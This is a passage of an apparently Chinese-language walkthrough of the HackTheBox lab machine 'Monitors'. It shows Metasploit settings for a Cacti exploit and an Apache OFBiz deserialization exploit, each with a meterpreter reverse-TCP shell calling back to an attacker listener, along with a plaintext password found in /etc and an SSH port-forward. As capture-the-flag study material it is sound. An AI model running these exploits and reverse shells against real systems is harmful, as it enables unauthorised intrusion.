Name Current Setting Required Description ---- --------------- -------- ----------- CREDS true no Dump cacti creds PASSWORD admin no Password to login with Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOSTS cacti-admin.monitors.htb yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit RPORT 80 yes The target port (TCP) SSL false no Negotiate SSL/TLS for outgoing connections TARGETURI /cacti/ yes The URI of Cacti USERNAME admin yes User to login with VHOST no HTTP server virtual host
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description ---- --------------- -------- ----------- LHOST 10.10.16.8 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port
Exploit target:
Id Name -- ---- 0 Automatic Target
0x03 User Shell
home目录下只有marcus一个用户,查看目录可以发现有个.backup文件夹
但是这个权限设置的比较有意思,我们无法查看文件夹里面的文件。
无奈之下尝试在其他目录找找线索。一番搜索后发现etc目录下有关键的信息:
1
grep -R marcus /etc 2>/dev/null #这里注意是-R不是-r,-r搜不到
查看该文件能够找到一个密码:
1
VerticalEdge2020
尝试使用该密码连接ssh,成功拿到用户marcus的shell:
0x04 Root Shell
marcus的home目录下有一个note.txt。查看发现是与docker相关的信息:
使用ps命令查找相关进程,发现8443端口起了另一个服务,且只允许本地连接:
1
ps aux | grep docker
使用SSH作端口转发
1
ssh -L 8443:localhost:8443 marcus@10.10.10.238
访问本地8443端口,发现是个tomcat:
扫目录发现apache ofbiz:
上网找CVE,搜索发现msf直接集成了exp,遂直接使用:
1 2 3 4 5 6 7
use exploit/linux/http/apache_ofbiz_deserialization set payload linux/x64/meterpreter/reverse_tcp set rhosts localhost set lhost 10.10.14.8 set lport 4567 set ForceExploit true exploit